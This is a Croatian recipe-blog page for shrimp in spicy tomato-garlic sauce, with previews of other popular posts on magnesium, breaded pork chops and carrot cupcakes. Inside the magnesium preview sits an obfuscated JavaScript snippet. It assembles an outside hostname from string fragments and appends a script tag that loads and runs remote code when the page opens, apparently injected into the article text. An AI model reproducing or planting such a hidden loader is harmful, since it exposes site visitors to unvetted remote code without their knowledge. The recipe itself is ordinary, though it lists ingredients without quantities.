KOZICE U PIKANTNOM UMAKU OD RAJČICE I ČEŠNJAKA 🍅




Kozice u pikantnom umaku od rajčice i češnjaka 




Kozice u pikantnom umaku od rajčice i češnjaka, poznatije kao Shrimp Mozambique, popularno su portugalsko jelo koje spaja sočne kozice s bogatim umakom od rajčice, češnjaka, maslaca i ljutih začina. Rezultat je aromatično, blago pikantno jelo koje se tradicionalno poslužuje uz hrskavi kruh za umakanje u slasni umak, a priprema je brža i jednostavnija no što se čini.





Kozice u pikantnom umaku od rajčice i češnjaka 


Sastojci:

  • kozice
  • maslinovo ulje
  • maslac
  • češnjak
  • luk
  • rajčice iz konzerve
  • pileći temeljac
  • bijelo vino
  • dimljena mljevena paprika
  • slatka mljevena paprika
  • kajenski papar
  • lovorov list
  • limunov sok
  • peršin
  • sol i papar




Priprema:

Ako koristite smrznute kozice, važno ih je u potpunosti odmrznuti i dobro osušiti papirnatim ručnicima. Luk i češnjak sitno nasjeckajte, a svježi peršin operite i također nasjeckajte. U velikoj i dubokoj tavi zagrijte maslinovo ulje i dvije žlice maslaca na srednje jakoj vatri. Dodajte nasjeckani luk i pirjajte ga četiri do pet minuta, dok ne postane staklast i mekan.

Zatim dodajte sitno sjeckani češnjak i nastavite kuhati još otprilike minutu uz neprestano miješanje kako ne bi zagorio. U tavu dodajte i dimljenu i slatku mljevenu papriku te kajenski papar. Kratko promiješajte kako bi začini otpustili svoje arome. Ulijte bijelo vino i kuhajte dvije minute da alkohol ispari. Nakon toga dodajte sjeckanu rajčicu, pileći temeljac i lovorov list.

Sve dobro promiješajte, smanjite vatru na srednju jačinu i pustite da se umak kuha desetak minuta uz povremeno miješanje, dok se lagano ne zgusne. U gotov umak dodajte očišćene kozice i preostale dvije žlice maslaca. Kuhajte sve zajedno tri do pet minuta, ovisno o veličini kozica, odnosno dok ne poprime ružičastu boju i postanu potpuno kuhane.

Maknite tavu s vatre. Umiješajte svježe iscijeđeni sok limuna i nasjeckani peršin. Začinite solju i svježe mljevenim crnim paprom prema vlastitom ukusu te sve još jednom lagano promiješajte da se okusi prožmu. Jelo poslužite odmah, dok je vruće




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više